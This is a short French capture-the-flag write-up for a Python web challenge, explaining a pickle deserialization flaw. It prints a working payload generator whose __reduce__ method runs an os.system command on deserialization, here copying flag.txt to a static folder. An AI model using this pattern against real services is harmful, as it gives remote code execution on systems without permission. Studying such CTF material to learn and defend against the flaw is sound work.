COP
- Catégorie : Web (Python / Pickle)
- Difficulté : Intermédiaire
Résumé
Challenge basé sur une vulnérabilité de désérialisation (pickle). Le dépôt contient un exemple montrant la construction d'une payload qui exécute une commande système lors de la désérialisation.
Extrait (génération de payload)
import pickle
import base64
import os
payload = 'cp flag.txt application/static/.'
class RCE:
def __reduce__(self):
return os.system, (payload,)
if __name__ == '__main__':
print(base64.urlsafe_b64encode(pickle.dumps(RCE())).decode('ascii'))
Approche
- Générer une charge utile
picklemalveillante et l'encoder en base64 pour l'envoyer à un endpoint vulnérable. - Vérifier les chemins et permissions (la commande de l'exemple copie
flag.txtvers un dossier statique).
Indices
- Rechercher où le serveur effectue une désérialisation de données utilisateur.
Références
- Documentation Python
pickle— risques liés à la désérialisation.